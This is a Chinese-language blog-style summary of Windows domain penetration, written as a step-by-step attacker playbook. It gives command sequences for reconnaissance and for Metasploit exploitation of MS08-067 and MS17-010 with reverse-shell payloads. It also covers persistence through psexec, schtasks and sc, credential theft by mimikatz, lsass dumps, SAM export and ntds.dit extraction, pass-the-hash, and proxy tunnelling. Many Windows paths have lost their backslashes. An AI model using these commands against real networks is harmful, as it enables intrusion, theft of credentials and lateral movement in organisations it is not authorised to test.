域渗透总结
学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确,有足够有耐心,总会有所突破。现在将自己遇到的技术点及相关知识做一个总结,不足之处,请批评指正。
-----一只萌新
域环境搭建不再详述,参考:
> AD域环境的搭建 基于Server 2008 R2: http://www.it165.net/os/html/201306/5493.html
> Acitve Directory 域环境的搭建: http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html
在实际网络渗透中,最重要的还是信息搜集,其中包括公开信息和部分敏感信息,信息获取的越多,胜面就越大。
1、信息搜集
nmap扫描
nmap.exe -F 192.168.1.5
nmap.exe --script-smb-os-discover.nse
namp.exe --script=vuln 127.0.0.1 用来扫描目标主机是否有可检测漏洞,不过现在的nmap 缺少最新的漏洞检测脚本,所以只能检测到永恒之蓝和ms08067
nmap -p3306 --script=mysql-empty-password.nse 192.168.1.4 扫描mysql root空口令
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4 猜解mssql用户名和密码
nmap --script=smb-enum-users 192.168.1.9 对192.168.1.9这台机器进行扫描,同时对smb的用户进行枚举。
whatweb
检测web指纹,辅助寻找可利用漏洞
whatweb url
whatweb --input-file=/root/desktop/url.txt
敏感目录扫描
wwwscan网站目录后台发现
dirsearch.py -u www.example.com -e *
公开敏感信息搜集
googlehack
给关键词加上半角引号实现精确搜索,不进行分词
谷歌搜索中限定搜索网页或文档标题的语法是:intitle或allintitle。allintitle是intitle的变体,相当于在各个搜索词前加上intitle。二者差别不明显,我们一般直接用intitle。intitle:“WSO 2.4”
谷歌搜索中限定搜索网页或文档正文的语法是:intext或allintext。intitle:“index” intext:“Login to the Administrative Interface”
从网站的URL入手挖掘信息 inurl:phpmyadmin/index.php & (intext:username & password & “Welcome to”)
搜索文件类型 filetype:txt
域登录日志&远程登录日志
域日志位置
C:WindowsSystem32winevtLogsSecurity.evtx 服务器登录日志 登录事件ID 4624,可判别出登录域控制器的机器
c:windowssystem32winevtlogs*.remote* 远程登录日志
主机远程登录日志
HKCUSoftwareMicrosoftTerminal Server ClientServers
HKCUSoftwareMicrosoftTerminal Server ClientDefault
域内信息获取
拿到域网络后第一件事情就是收集域信息_
ipconfig /all ------ 查询本机IP段,所在域等
net user ------ 本机用户列表
net localhroup administrators ------ 本机管理员[通常含有域用户]
net user /domain ------ 查询域用户
net group /domain ------ 查询域里面的工作组
net group “domain admins” /domain ------ 查询域管理员用户组
net localgroup administrators /domain ------ 登录本机的域管理员
net localgroup administrators workgroupuser001 /add ------域用户添加到本机
net group “domain controllers” /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判断主域,主域服务器都做时间服务器
net config workstation ------ 当前登录域
net session ------ 查看当前会话
net use ipipc$ pawword /user:username ------ 建立IPC会话[空连接-***]
net share ------ 查看SMB指向的路径[即共享]
net view ------ 查询同一域内机器列表
net view ip ------ 查询某IP共享
net view /domain ------ 查询域列表
net view /domain:domainname ------ 查看workgroup域中计算机列表
net start ------ 查看当前运行的服务
net accounts ------ 查看本地密码策略
net accounts /domain ------ 查看域密码策略
nbtstat –A ip ------netbios 查询
netstat –an/ano/anb ------ 网络连接查询
route print ------ 路由表
dsquery computer ----- finds computers in the directory.
dsquery contact ----- finds contacts in thedirectory.
dsquery subnet ----- finds subnets in thedirectory.
dsquery group ----- finds groups in thedirectory.
dsquery ou ----- finds organizationalunits in the directory.
dsquery site ----- finds sites in thedirectory.
dsquery server ----- finds domain controllers inthe directory.
dsquery user ----- finds users in thedirectory.
dsquery quota ----- finds quota specificationsin the directory.
dsquery partition ----- finds partitions in thedirectory.
dsquery * ----- finds any object inthe directory by using a generic LDAP query.
dsquery server –domain Yahoo.com | dsget server–dnsname –site —搜索域内域控制器的DNS主机名和站点名
dsquery computer domainroot –name -xp –limit 10----- 搜索域内以-xp结尾的机器10台
dsquery user domainroot –name admin -limit ---- 搜索域内以admin开头的用户10个
tasklist /V ----- 查看进程[显示对应用户]
tasklist /S ip /U domainusername /P /V ----- 查看远程计算机进程列表
qprocess * ----- 类似tasklist
qprocess /SERVER:IP ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com ----- 查看邮件服务器
whoami /all ----- 查询当前用户权限等
set ----- 查看系统环境变量
systeminfo ----- 查看系统信息
qwinsta ----- 查看登录情况
qwinsta /SERVER:IP ----- 查看远程登录情况
fsutil fsinfo drives ----- 查看所有盘符
gpupdate /force ----- 更新域策略
wmic bios ----- 查看bios信息
wmic qfe ----- 查看补丁信息
wmic qfe get hotfixid ----- 查看补丁-Patch号
wmic startup ----- 查看启动项
wmic service ----- 查看服务
wmic os ----- 查看OS信息
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:“hostname” bios get serialnumber (this can be great for finding warranty info about target)
浏览器密码、历史记录
firefox
%appdata%RoamingMozillaFirefoxProfiles*.defualtlogins.json
%appdata%RoamingMozillaFirefoxProfiles*.defualtkey3.db
%appdata%RoamingMozillaFirefoxProfiles*.defualtplace.sqlite
取上述三个文件导入到对应版本firefox的文件夹中,即可读取密码和历史记录
最近使用文件
%userprofile%AppDataRoamingMicrosoftWindowsRecent
其他敏感信息
USB存储信息
HKLMSYSTEMCurrentControlSetEnumUSB
HKLMSYSTEMCurrentControlSetEnumUSBSTOR
putty日志
HKEY_CURRENT_USERSoftwareSimonTathamPuTTY
Radmin安装位置,文件夹下会有日志
C:Program FilesRadmin
c:windowssystem32Rserver30
端口(常见数据库&服务http://cert.sjtu.edu.cn/doc/linux/ch-ports.html)
sqlserver默认端口号为:1433
mysql 默认端口号为:3306
oracle 默认端口号为:1521
HTTP协议代理服务器常用端口号:80/8080/3128/8081/9098
SOCKS代理协议服务器常用端口号:1080
Telnet(远程登录)协议代理服务器常用端口号:23
FTP(文件传输)协议代理服务器常用端口号:21
POP3 Post Office Protocol(E-mail),默认端口号为110/tcp
JBOSS,默认端口号为8080
TOMCAT,默认端口号为8080
webshpere管理工具,默认端口号9090
SSH(安全登录)、SCP(文件传输)、端口号重定向,默认的端口号为22/tcp
自启动位置
HKEY_CURRENT_USERSoftwareMicrosoft*WindowsCurrentVersion*Run
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices
2、漏洞攻击
ms08067
流程
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 127.0.0.1
set RHOST 127.0.0.1
show target
set target *
exploit
利用metasploit攻击(ms08_067_netapi),具体的攻击过程很简单,show options看一下就可以了,这里要说的是攻击过程中目标网络有防火墙限制,不让反弹连接,使用reverse_tcp不成功,可以尝试使用bind_tcp监听式的payload。
ms17010
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=6666 -f exe > /var/www/html/6666.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 127.0.0.1
set RHOST 127.0.0.1
exploit
为了提高渗透效率,可以用一些ms17010的批量扫描工具,网上一堆,不过注意安全
公开漏洞搜集、组合利用
Drupal 7(8) - CVE-2018-7600(RCE)
PHPMailer 代码执行漏洞(CVE-2016-10033)
CVE-2018-4878 Flash(http://blog.51cto.com/chenxinjie/2093653)
CVE-2018-8174 “双杀”0day漏洞复现(https://www.freebuf.com/vuls/173727.html)
Tomcat远程代码执行漏洞(CVE-2017-12615)
3、木马控制
常见的木马技术:内存型木马、实体木马、shellcode木马,具体的技术都够仔细研究好久了,在这儿不详述,渗透过程中要针对特定环境进行最优选择。
4、持久化驻留
后门技术
ICMP后门,网上有公开的代码,主要利用了ICMP协议进行后门激活和命令执行,可绕过防火墙限制。
https://blog.csdn.net/qq_20307987/article/details/84612699
计划任务
at \192.168.200.100 15:00 c:hack.bat
psexec
psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec 192.168.200.100 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
参数:
-s 参数用来以system权限执行
–accepteula 绕过第一次运行的弹窗
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
psexec \192.168.1.2 c:hack.bat
系统自带远程管理 winrs
winrs -r:192.168.1.100 -u:administrator -p:pwd ipconfig
schtasks
schtasks /create /tn mytask /tr F:Desktop.exe /sc minute /mo 1 每分运行1次
/RU
可以以 system 启动,例如
schtasks /Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM
schtasks /create /tn mytask /tr “C:procdump64.exe -accepteula -ma lsass.exe lsass.dmp” /sc minute /mo 2
schtasks /Query /TN mytask
net time
schtasks /Delete /TN mytask /F
wmiexec
半交互模式:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
单个命令执行的模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"
如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
wce -s [hash]
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
- 1
- 2
- 3
sc创建服务运行
1、系统权限(其中test为服务名)
sc \DC1 create test binpath= c:cmd.exe
sc \DC1 start test
sc \DC1 delete test
2.指定用户权限启动
sc \DC1 create test binpath = "c:1.exe" obj= "centosoadministrator" passwrod= test
sc \DC1 start test
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
5、提权
windows提权辅助工具,原理主要通过 systeminfo 补丁信息比对漏洞库, 工具链接
https://github.com/GDSSecurity/Windows-Exploit-Suggester/
linux 提权辅助
https://github.com/jondonas/linux-exploit-suggester-2
windows-kernel-exploits Windows 平台提权漏洞集合
https://github.com/SecWiki/windows-kernel-exploits
linux-kernel-exploits Linux 平台提权漏洞集合
https://github.com/SecWiki/linux-kernel-exploits
ms14068
https://www.freebuf.com/vuls/56081.html 详细分析
cve-2018-8120
https://github.com/alpha1ab/CVE-2018-8120
cve-2017-0213
https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213
6、密码获取
内存口令Mimikatz(最新版已支持win10)
https://github.com/gentilkiwi/mimikatz/releases
如果网络中用户或者管理员在已控制主机上登录过,并且主机没有重启,那么一般可以使用mimikatz在该机器上抓取到明文口令。当然,现在工具可能被查杀了,不过还是有一些如getpass之类的工具可以绕过,原理其实是一样的,都是从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码。
首先看一下mimikatz的命令有那些,顺便给大佬递个茶~
使用指令privilege::debug , 进入debug模式
sekurlsa::logonPasswords就是抓取登录密码
同样mimikatz还有凭据注入的功能,具体可以结合ms14068看看
SAM文件破解
有的时候内存中没有存储明文口令,导致抓内存的方法是不可行的,那么可以换个思路寻找本地用户的Hash,导出方法为:
reg save hklmsystem c:users estDesktopsys.dat
reg save hklmsam c:users estDesktopsam.dat
然后将sam.dat和sys.dat两个文件导入到软件saminside中,就可以读到用户的NTHash,然后通过cmd破解网站破解即可。
dump lasses.exe进程内存离线破解
1.对于NT6的系统可以直接使用windows自带的功能dump lsass.exe内存。通过打开任务管理器,右键lsass.exe进程,创建转储文件,若成功可生成lsass.DMP文件,将其拷贝到mimikatz文件目录下。
对于NT5 系统可以使用微软的Procdump工具
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
2.使用mimikatz中sekurlsa::minidump功能导入dmp文件,进而获取密码
键盘记录
这个就不多说了,一般的键盘记录功能都可以清楚记录用户操作,其中包含各种网站、设备、软件登录口令~~~
域控服务器hash导出
Ntdsutil.exe是一个为 Active Directory 提供管理设施的命令行工具。可使用Ntdsutil.exe 执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导 (DCPromo.exe)成功降级的域控制器留下的元数据。Ntdsutil还可以用来获取域控数据库ntds.dit文件,具体命令如下:
(1)创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
(2)Ntdsutil挂载活动目录的快照
ntdsutil snapshot "mount {GUID}" quit quit
{GUID}为动态获取的
(3)复制快照的本地磁盘
copy MOUNT_POINTwindowsNTDS
tds.dit c:
tds.dit
(4)卸载快照
ntdsutil snapshot "unmount {GUID}" quit quit
(5)删除快照
ntdsutil snapshot "delete {GUID}" quit quit
使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:
tds.dit”将导出的ntds.dit文件中哈希值全导出
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
Quarks PwDump https://blog.quarkslab.com/quarks-pwdump.html
Pass the Hash
在Windows系统中,通常会使用NTLM身份认证
NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
wmiexec
参考地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
exe版本下载地址:
https://github.com/maaaaz/impacket-examples-windows
注:
wmiexec.py的注释中提示"Main advantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可
参数实例:
wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/administrator@192.168.10.1 "whoami"
- 1
wmiexec.py的hash参数格式为LMHASH:NTHASH
,由于该Hash来自于Server 2008,系统默认不支持LM hash,所以LM hash可以设定为任意值
powershell
参考地址:
https://github.com/Kevin-Robertson/Invoke-TheHash/
支持多种方式
Invoke-WMIExec:
参数实例:
Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
- 1
Invoke-SMBExec:
支持SMB1, SMB2 (2.1), and SMB signing
参数实例:
Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
- 1
通过在目标主机创建服务执行命令,所以权限为system
Invoke-SMBClient:支持SMB1, SMB2 (2.1), and SMB signing
如果只有SMB文件共享的权限,没有远程执行权限,可以使用该脚本
支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)
7、挂代理隐蔽身份
proxychains
ProxyChains是Linux和其他Unices下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。ProxyChains 的配置文件位于 /etc/proxychains.conf ,打开后你需要在末尾添加你使用的代理
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
# example
socks5 127.0.0.1 8888
OK,基础的配置到这里就搞定了。除此之外,这个文件里还用一堆可选的配置供你调整,自己去看啦。
ProxyChains 的使用方式非常简单,直接在应用程序前加上 proxychains 即可。例如:
proxychains wget https://github.com/haad/proxychains/archive/proxychains-4.2.0.tar.gz
也可以用proxyChains打开一个bash终端,就不用每次都输入proxychains了
proxy bash 打开一个终端,里面执行的下载等命令都是通过代理流量走
SSH 端口转发
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host
- 1
- 2
- 3
参数说明
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器 "动态的"应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
C Enable compression.
压缩数据传输。
-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。
-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。
栗子:
ssh -C -f -N -g -L 443:192.168.1.3:443 root@192.168.1.2
假设A机ip为192.168.1.1,在A机上执行上述命令,则表示通过192.168.1.2代理转发,访问192.168.1.1的443端口,即可访问192.168.1.3的443端口。
ssh -C -f -N -g -R 443:192.168.1.3:443 root@192.168.1.2
在192.168.1.2上开启443端口监听,若有连接到192.168.1.2的443端口的数据,全部转发到192.168.1.3的443端口。
ssh -C -f -N -g -D 1080 root@192.168.1.2
在本地执行,监听1080端口,若有数据到达本地1080端口,则通过192.168.1.2转发出去
EarthWorm
参数说明:
-h 查看帮助
-s 指定链路状态(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、 lcx_tran)
ssocksd:正向socks5代理连接;
rcsocks、rssocks:反向socks5代理连接;
lcx_slave、lcx_listen:端口转发;
lcx_tran:端口映射;
-l 开放指定端口监听;
-d 指定转发或反弹的主机地址;
-e 指定转发或反弹的主机端口;
-f 指定连接或映射的主机地址;
-g 指定连接或映射的主机端口;
-t 设置超时时间,默认为10000毫秒,即10秒(单位毫秒,-h显示有误);
-v 显示版本;
-a 显示关于页面;
netsh
Netsh是一种命令行实用程序,可用来显示与修改当前正在运行的计算机的网络配置,用于端口转发功能代码(可以创建任意数量的Windows端口转发规则。所有netsh interface portproxy规则都是持久性的,并会在Windows系统重启后被保存):
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 一个TCP端口,来自listenport的连接会被转发到该端口
显示系统中的转发规则列表
netsh interface portproxy show all
清除所有当前的端口转发规则
netsh interface portproxy reset
删除指定的端口转发规则
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
socat
socat是一个多功能的网络工具,名字来由是” SOcket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情。转发命令:
socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15000,reuseaddr,fork,su=nobody TCP4:server.wesnoth.org:15000
“-d -d -lf /var/log/socat.log”是参数,前面两个连续的-d -d代表调试信息的输出级别,-lf则指定输出信息的保存文件。
“TCP4-LISTEN:15000,reuseaddr,fork,su=nobody”是一号地址,代表在15000端口上进行TCP4协议的监听,复用绑定的IP,每次又连接到来就fork复制一个进程进行处理,同时将执行用户设置为nobody用户。
“TCP4:server.wesnoth.org:15000″是二号地址,代表将socat监听到的任何请求,转发到server.wesnoth.org:15000上去。
上面这个是命令全一些的,其实有一些没必要加,精简版如下:
socat TCP4-LISTEN:188,reuseaddr,fork TCP4:192.168.1.22:123
参考链接:
https://blog.csdn.net/a351945755/article/details/21785647